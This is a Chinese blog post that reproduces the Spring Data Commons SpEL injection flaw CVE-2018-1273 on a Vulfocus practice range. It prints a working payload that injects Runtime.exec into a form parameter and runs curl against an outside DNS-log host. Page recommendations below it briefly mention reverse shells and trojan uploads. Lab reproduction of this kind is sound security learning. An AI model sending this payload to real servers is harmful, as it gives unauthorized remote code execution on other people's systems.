[Vulfocus解题系列]spring 代码执行 （CVE-2018-1273）

最新推荐文章于 2024-05-18 21:26:17 发布
最新推荐文章于 2024-05-18 21:26:17 发布
阅读量3.2k 收藏 2
点赞数 1
分类专栏： 漏洞复现 文章标签： spring 安全 java
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_45813980/article/details/122324126
版权

简介

Spring Expression Language是一个功能强大的表达式 语言支持查询和在运行时操作一个对象图。 攻击者可以在未获得授权的情况下，将精心制作的请求参数注入到存在该漏洞的服务器上，从而发起远程代码执行攻击。

复现过程

使用在线靶场
在这里插入图片描述
抓包

在这里插入图片描述

改包，将data数据改为下面的payload

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://m9c5f3.ceye.io/123456")]=&password=&repeatedPassword=

使用dnslog进行命令执行的验证
在这里插入图片描述
成功回显，证明漏洞存在
在这里插入图片描述

00勇士王子
关注
  • 1
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
[Java安全]Spring Data Commons之CVE-2018-1273
snowlyzz的博客
02-08 680
从CVE-2018-1273看漏洞分析
spring(CVE-2018-1273)远程代码执行漏洞复现
热门推荐
勤劳的码农的博客
03-12 1万+
Spring Data 是Spring框架中提供底层数据访问的项目模块，Spring Data Commons 是一个共用的基础模块。此模块对特殊属性处理时会使用SpEl表达式，导致攻击者可以通过构造特殊的URL请求，造成服务端远程代码执行。在2.0.5及以前版本中，存在一处SpEL表达式注入漏洞，攻击者可以注入恶意SpEL表达式以执行任意命令。Spring在补丁中使用更加安全的SimpleEvaluationContext替换了StandardEvaluationContext。
spring 代码执行 （CVE-2018-1273）
YouthBelief的博客
11-11 1780
spring 代码执行 CVE-2018-1273spring 代码执行 （CVE-2018-1273）0x01 漏洞描述0x02 影响范围0x03 漏洞复现wget反弹shell0x04 漏洞修复 spring 代码执行 （CVE-2018-1273） 0x01 漏洞描述 Spring Expression Language是一个功能强大的表达式 语言支持查询和在运行时操作一个对象图。 攻击者可以在未获得授权的情况下，将精心制作的请求参数注入到存在该漏洞的服务器上，从而发起远程代码执行攻击。 0x02 影
spring:CVE-2018:1273
最新发布
weixin_69670995的博客
05-18 457
使用浏览器访问users，并输入随便东西。在kali上使用vim新建测试txt文件。使用dirsearch工具进行目录扫描。使用python3开启临时http。修改payload，让靶机执行木马。修改payload，提升木马权限。发到重发器，并修改post传参。返回200，上传txt文件成功。修改paylaod，上传木马。执行成功，返回靶机shell。使用burp抓包，点击注册。返回200，上传成功。
Spring Data Commons远程命令执行漏洞_CVE-2018-1273（反序列Runtime方法）
weixin_42786460的博客
09-16 383
Spring Data Commons远程命令执行漏洞_CVE-2018-1273（反序列Runtime方法）
vulhub中Spring之Spring Data Commons 远程命令执行漏洞（CVE-2018-1273）
weixin_41438728的博客
12-02 1546
vulhub中Spring之Spring Data Commons 远程命令执行漏洞（CVE-2018-1273）漏洞复现漏洞说明漏洞利用条件和方式漏洞影响范围漏洞检测环境搭建漏洞复现漏洞修复 漏洞复现 漏洞说明 漏洞利用条件和方式 漏洞影响范围 漏洞检测 环境搭建 漏洞复现 漏洞修复 ...
OPENSSH漏洞(CVE-2020-15778 CVE-2018-15473、CVE-2018-15919)修补文件命令
03-31
本篇将详细讨论如何修补OpenSSH中的几个已知漏洞，包括CVE-2020-15778、CVE-2018-15473、CVE-2018-15919。 首先，让我们了解这些特定的漏洞： 1. CVE-2020-15778：这是一个与OpenSSH密钥协商过程相关的漏洞，可能...
CVE-2018-3191利用exp
01-08
这是一个远程代码执行漏洞，影响了Oracle WebLogic Server的多个版本，包括但不限于10.3.6.0。当WebLogic服务器处理特定类型的JNDI反序列化请求时，恶意构造的数据可能导致服务器执行攻击者控制的代码。这种攻击通常...
CVE-2018-8174_EXP:CVE-2018-8174_python
05-16
CVE-2018-8174_EXP 用法：CVE-2018-8174.py [-h] -u URL -o输出[-i IP] [-p端口] 针对CVE-2018-8174的漏洞利用 可选参数：-h，--help显示此帮助消息并退出-u URL，--url URL exp url -o OUTPUT，--output OUTPUT...
Weblogic反序列化远程代码执行漏洞(CVE-2018-2893)以及安装步骤
11-23
Weblogic反序列化远程代码执行漏洞（CVE-2018-2893）是Oracle WebLogic Server中一个严重安全问题，它允许攻击者通过发送恶意构造的序列化对象来执行任意代码，从而获得对服务器的完全控制。这个漏洞存在于WebLogic ...
Spring Data Commons 远程命令执行漏洞（CVE-2018-1273）
黑白的博客
12-20 2604
声明 好好学习，天天向上 漏洞描述 Spring Data是一个用于简化数据库访问，并支持云服务的开源框架，Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中，存在一处SpEL表达式注入漏洞，攻击者可以注入恶意SpEL表达式以执行任意命令。 影响范围 · Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10) · Spring Data REST 2.6 - 2
Spring-CVE_2018_1273
weixin_57567689的博客
10-29 593
Spring-CVE_2018_1273
Spring RCE漏洞分析2（CVE-2018-1273）
hldfight
05-07 1968
0x00 前言 继续分析Spring的历史漏洞，本篇记录Spring Data Commons的远程代码执行漏洞（CVE-2018-1273）的分析。 0x01 环境搭建 使用的Spring Data Example Projects提供的示例代码。 但该项目中包含有15个子模块，如果将其整体导入IDEA，则需要下载所有模块中的依赖，显然这是没有必要的。通过参考这篇文章，发现只需导入web模块中的...
cve-2018-1273 Spring Expression Language 漏洞分析
whatday的专栏
07-31 1039
目录 0x00 背景 x01 漏洞影响 受影响的范围 0x02 SpEL 类类型表达式 类实例化 变量和函数的使用 0x03 SpEL调试 0x04 实战分析 CVE-2018-1273 攻击Exploit的诞生 0x00 背景 最近Spring框架不大太平，接连爆出来多个RCE远程代码执行的CVE漏洞，其中有CVE-2018-1270，CVE-2018-1273，通过对造成漏洞部分代码进行分析,发现都是因为滥用SpEL的StandardEvaluationContext。 x0
spring 代码执行 （CVE-2018-1273）复现
weixin_63124284的博客
10-29 1058
​ Spring Expression Language是一个功能强大的表达式 语言支持查询和在运行时操作一个对象图。 攻击者可以在未获得授权的情况下，将精心制作的请求参数注入到存在该漏洞的服务器上，从而发起远程代码执行攻击。 ​
linux漏洞分析,Spring-data-commons(CVE-2018-1273)漏洞分析
weixin_39830303的博客
05-13 857
前言CVE-2018-1273 是 Spring-data-commons近期爆出的一个可远程执行代码的漏洞，为了了解更多细节，本文将从漏洞的成因，漏洞的判定以及漏洞的利用三个方面来进行详细说明。漏洞的成因当用户在项目中利用了Spring-data的相关web特性对用户的输入参数进行自动匹配的时候，会将用户提交的form表单的key值作为Spel的执行内容，而这一步就是本次漏洞的爆发点。漏洞的判定...
Spring Data Commons 远程命令执行（CVE-2018-1273）复现避坑
weixin_43749591的博客
11-02 295
漏洞简介： Spring Data 是一个简化数据库访问，并支持云服务的开源框架，Spring Data Commons是Spring Data 下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中，存在一处SpEL表达式注入漏洞。 影响版本： Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10) Spring Data REST 2.6 - 2.6.10 (Ingalls SR10) Spring Data Co
Spring Data Commons-远程命令执行漏洞（CVE-2018-1273）
qq_43381463的博客
04-19 435
Spring Data是一个用于简化数据库访问，并支持云服务的开源框架，Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中，存在一处SpEL表达式注入漏洞，攻击者可以注入恶意SpEL表达式以执行任意命令。
CVE-2018-8034
07-28
CVE-2018-8034是一个与Apache Tomcat相关的漏洞。根据提供的引用内容，我无法找到与CVE-2018-8034直接相关的信息。请提供更多关于CVE-2018-8034的信息，以便我能够为您提供准确的答案。 #### 引用[.reference_title] - *1* [windows Server 2012 R2扫描漏洞处理(CVE-2018-0886，CVE-2016-2183，CVE-2013-2566，CVE-2015-2808)](https://blog.csdn.net/weixin_39945506/article/details/119863457)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [常见主机漏洞](https://blog.csdn.net/weixin_45849370/article/details/102956932)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control_2,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值